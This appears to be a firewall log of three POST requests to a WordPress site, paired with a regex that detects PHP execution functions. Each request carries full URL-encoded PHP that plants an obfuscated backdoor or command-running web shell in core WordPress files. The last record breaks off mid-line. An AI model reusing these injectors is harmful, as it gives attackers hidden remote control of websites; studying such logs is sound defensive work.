["2026-05-12 10:44:06","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> td:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/script-loader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%2529%257B%2520%2524key%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524n%253D0%253B%2520%2524n%253Cstrlen%2528%2524key%2529%253B%2520%2524n%252B%252B%2529%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524key%255B%2524n%255D%2529%2520%255E%252029%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524data%2520%253D%25200%253B%2520do%2520%257B%2520%2524parameter_group%2520%253D%2520%2524component%255B%2524data%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524data%2520%253E%253D%2520count%2528%2524component%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524parameter_group%2529%2520%253F%2520is_writable%2528%2524parameter_group%2529%2520%253A%2520false%2529%2520%257B%2520%2524desc%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524parameter_group%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524desc%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524desc%253B%2520unlink%2528%2524desc%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524data%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqTDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4116\n\ntd=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/script-loader.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%2529%257B%2520%2524key%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522d%255Cx65scr%255Cx69%255Cx70t%255Cx6Fr%2522%255D%2529%253B%2520%2524dchunk%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524n%253D0%253B%2520%2524n%253Cstrlen%2528%2524key%2529%253B%2520%2524n%252B%252B%2529%257B%2524dchunk%2520.%253D%2520chr%2528ord%2528%2524key%255B%2524n%255D%2529%2520%255E%252029%2529%253B%257D%2520%2524component%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524data%2520%253D%25200%253B%2520do%2520%257B%2520%2524parameter_group%2520%253D%2520%2524component%255B%2524data%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524data%2520%253E%253D%2520count%2528%2524component%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524parameter_group%2529%2520%253F%2520is_writable%2528%2524parameter_group%2529%2520%253A%2520false%2529%2520%257B%2520%2524desc%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524parameter_group%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524desc%252C%2520%2524dchunk%2529%2529%2520%257B%2520require%2520%2524desc%253B%2520unlink%2528%2524desc%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524data%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:44:09","52.232.35.131","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> pg:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Utility\/CaseInsensitiveDictionary.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524tkn1%2520%253D%2520%2527973%2527%253B%2524tkn2%2520%253D%2520%2527746%2527%253B%2524tkn3%2520%253D%2520%2527865%2527%253B%2524tkn4%2520%253D%2520%2527c5f%2527%253B%2524tkn5%2520%253D%2520%2527706%2527%253B%2524tkn6%2520%253D%2520%2527173%2527%253B%2524tkn7%2520%253D%2520%2527727%2527%253B%2524tkn8%2520%253D%2520%2527737%2527%253B%2524tkn9%2520%253D%2520%2527745%2527%253B%2524tkn10%2520%253D%2520%2527e74%2527%253B%2524tkn11%2520%253D%2520%25276f7%2527%253B%2524tkn12%2520%253D%2520%2527696%2527%253B%2524tkn13%2520%253D%2520%2527e69%2527%253B%2524tkn14%2520%253D%2520%2527961%2527%253B%2524tkn15%2520%253D%2520%2527656%2527%253B%2524secure_access1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524tkn1%2520.%2520%2524tkn2%2520.%2520%252756d%2527%2529%253B%2524secure_access2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524tkn3%2520.%2520%25276c6%2527%2520.%2520%2524tkn4%2520.%2520%2527657%2527%2520.%2520%2527865%2527%2529%253B%2524secure_access3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524tkn3%2529%253B%2524secure_access4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn5%2520.%2520%2524tkn6%2520.%2520%2527737%2527%2520.%2520%2527468%2527%2520.%2520%2524tkn7%2529%253B%2524secure_access5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2527f70%2527%2520.%2520%2527656%2527%2529%253B%2524secure_access6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn8%2520.%2520%2527472%2527%2520.%2520%2527656%2527%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524tkn9%2520.%2520%2527f63%2527%2520.%2520%25276f6%2527%2520.%2520%2527e74%2527%2520.%2520%2527656%2527%2520.%2520%2524tkn10%2529%253B%2524secure_access7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524tkn11%2520.%2520%2527365%2527%2529%253B%2524initialized%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn12%2520.%2520%2524tkn13%2520.%2520%2527746%2527%2520.%2520%2524tkn14%2520.%2520%25276c6%2527%2520.%2520%252797a%2527%2520.%2520%2524tkn15%2529%253Bif%2528isset%2528%2524_POST%255B%2524initialized%255D%2529%2529%257B%2524initialized%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524initialized%255D%2529%253Bif%2528function_exists%2528%2524secure_access1%2529%2529%257B%2524secure_access1%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access2%2529%2529%257Bprint%2520%2524secure_access2%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access3%2529%2529%257B%2524secure_access3%2528%2524initialized%252C%2524property_set_mrk%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524property_set_mrk%2529%253B%257Delseif%2528function_exists%2528%2524secure_access4%2529%2529%257B%2524secure_access4%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access5%2529%2526%2526function_exists%2528%2524secure_access6%2529%2526%2526function_exists%2528%2524secure_access7%2529%2529%257B%2524res_marker%253D%2524secure_access5%2528%2524initialized%252C%2522r%2522%2529%253Bif%2528%2524res_marker%2529%257B%2524element_value%253D%2524secure_access6%2528%2524res_marker%2529%253B%2524secure_access7%2528%2524res_marker%2529%253Bprint%2520%2524element_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpTpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6309\n\npg=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Utility\/CaseInsensitiveDictionary.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524tkn1%2520%253D%2520%2527973%2527%253B%2524tkn2%2520%253D%2520%2527746%2527%253B%2524tkn3%2520%253D%2520%2527865%2527%253B%2524tkn4%2520%253D%2520%2527c5f%2527%253B%2524tkn5%2520%253D%2520%2527706%2527%253B%2524tkn6%2520%253D%2520%2527173%2527%253B%2524tkn7%2520%253D%2520%2527727%2527%253B%2524tkn8%2520%253D%2520%2527737%2527%253B%2524tkn9%2520%253D%2520%2527745%2527%253B%2524tkn10%2520%253D%2520%2527e74%2527%253B%2524tkn11%2520%253D%2520%25276f7%2527%253B%2524tkn12%2520%253D%2520%2527696%2527%253B%2524tkn13%2520%253D%2520%2527e69%2527%253B%2524tkn14%2520%253D%2520%2527961%2527%253B%2524tkn15%2520%253D%2520%2527656%2527%253B%2524secure_access1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524tkn1%2520.%2520%2524tkn2%2520.%2520%252756d%2527%2529%253B%2524secure_access2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524tkn3%2520.%2520%25276c6%2527%2520.%2520%2524tkn4%2520.%2520%2527657%2527%2520.%2520%2527865%2527%2529%253B%2524secure_access3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524tkn3%2529%253B%2524secure_access4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn5%2520.%2520%2524tkn6%2520.%2520%2527737%2527%2520.%2520%2527468%2527%2520.%2520%2524tkn7%2529%253B%2524secure_access5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2527f70%2527%2520.%2520%2527656%2527%2529%253B%2524secure_access6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn8%2520.%2520%2527472%2527%2520.%2520%2527656%2527%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524tkn9%2520.%2520%2527f63%2527%2520.%2520%25276f6%2527%2520.%2520%2527e74%2527%2520.%2520%2527656%2527%2520.%2520%2524tkn10%2529%253B%2524secure_access7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524tkn11%2520.%2520%2527365%2527%2529%253B%2524initialized%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn12%2520.%2520%2524tkn13%2520.%2520%2527746%2527%2520.%2520%2524tkn14%2520.%2520%25276c6%2527%2520.%2520%252797a%2527%2520.%2520%2524tkn15%2529%253Bif%2528isset%2528%2524_POST%255B%2524initialized%255D%2529%2529%257B%2524initialized%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524initialized%255D%2529%253Bif%2528function_exists%2528%2524secure_access1%2529%2529%257B%2524secure_access1%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access2%2529%2529%257Bprint%2520%2524secure_access2%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access3%2529%2529%257B%2524secure_access3%2528%2524initialized%252C%2524property_set_mrk%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524property_set_mrk%2529%253B%257Delseif%2528function_exists%2528%2524secure_access4%2529%2529%257B%2524secure_access4%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access5%2529%2526%2526function_exists%2528%2524secure_access6%2529%2526%2526function_exists%2528%2524secure_access7%2529%2529%257B%2524res_marker%253D%2524secure_access5%2528%2524initialized%252C%2522r%2522%2529%253Bif%2528%2524res_marker%2529%257B%2524element_value%253D%2524secure_access6%2528%2524res_marker%2529%253B%2524secure_access7%2528%2524res_marker%2529%253Bprint%2520%2524element_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:44:12","43.230.201.87","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vx:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Utility\/CaseInsensitiveDictionary.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524tkn1%2520%253D%2520%2527973%2527%253B%2524tkn2%2520%253D%2520%2527746%2527%253B%2524tkn3%2520%253D%2520%2527865%2527%253B%2524tkn4%2520%253D%2520%2527c5f%2527%253B%2524tkn5%2520%253D%2520%2527706%2527%253B%2524tkn6%2520%253D%2520%2527173%2527%253B%2524tkn7%2520%253D%2520%2527727%2527%253B%2524tkn8%2520%253D%2520%2527737%2527%253B%2524tkn9%2520%253D%2520%2527745%2527%253B%2524tkn10%2520%253D%2520%2527e74%2527%253B%2524tkn11%2520%253D%2520%25276f7%2527%253B%2524tkn12%2520%253D%2520%2527696%2527%253B%2524tkn13%2520%253D%2520%2527e69%2527%253B%2524tkn14%2520%253D%2520%2527961%2527%253B%2524tkn15%2520%253D%2520%2527656%2527%253B%2524secure_access1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524tkn1%2520.%2520%2524tkn2%2520.%2520%252756d%2527%2529%253B%2524secure_access2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524tkn3%2520.%2520%25276c6%2527%2520.%2520%2524tkn4%2520.%2520%2527657%2527%2520.%2520%2527865%2527%2529%253B%2524secure_access3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524tkn3%2529%253B%2524secure_access4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn5%2520.%2520%2524tkn6%2520.%2520%2527737%2527%2520.%2520%2527468%2527%2520.%2520%2524tkn7%2529%253B%2524secure_access5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2527f70%2527%2520.%2520%2527656%2527%2529%253B%2524secure_access6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn8%2520.%2520%2527472%2527%2520.%2520%2527656%2527%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524tkn9%2520.%2520%2527f63%2527%2520.%2520%25276f6%2527%2520.%2520%2527e74%2527%2520.%2520%2527656%2527%2520.%2520%2524tkn10%2529%253B%2524secure_access7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524tkn11%2520.%2520%2527365%2527%2529%253B%2524initialized%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524tkn12%2520.%2520%2524tkn13%2520.%2520%2527746%2527%2520.%2520%2524tkn14%2520.%2520%25276c6%2527%2520.%2520%252797a%2527%2520.%2520%2524tkn15%2529%253Bif%2528isset%2528%2524_POST%255B%2524initialized%255D%2529%2529%257B%2524initialized%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524initialized%255D%2529%253Bif%2528function_exists%2528%2524secure_access1%2529%2529%257B%2524secure_access1%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access2%2529%2529%257Bprint%2520%2524secure_access2%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access3%2529%2529%257B%2524secure_access3%2528%2524initialized%252C%2524property_set_mrk%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524property_set_mrk%2529%253B%257Delseif%2528function_exists%2528%2524secure_access4%2529%2529%257B%2524secure_access4%2528%2524initialized%2529%253B%257Delseif%2528function_exists%2528%2524secure_access5%2529%2526%2526function_exists%2528%2524secure_access6%2529%2526%2526function_exists%2528%2524secure_access7%2529%2529%257B%2524res_marker%253D%2524secure_access5%2528%2524initialized%252C%2522r%2522%2529%253Bif%2528%2524res_marker%2529%257B%2524element_value%253D%2524secure_access6%2528%2524res_marker%2529%253B%2524secure_access7%2528%2524res_marker%2529%253Bprint%2520%2524element_value%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqatvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 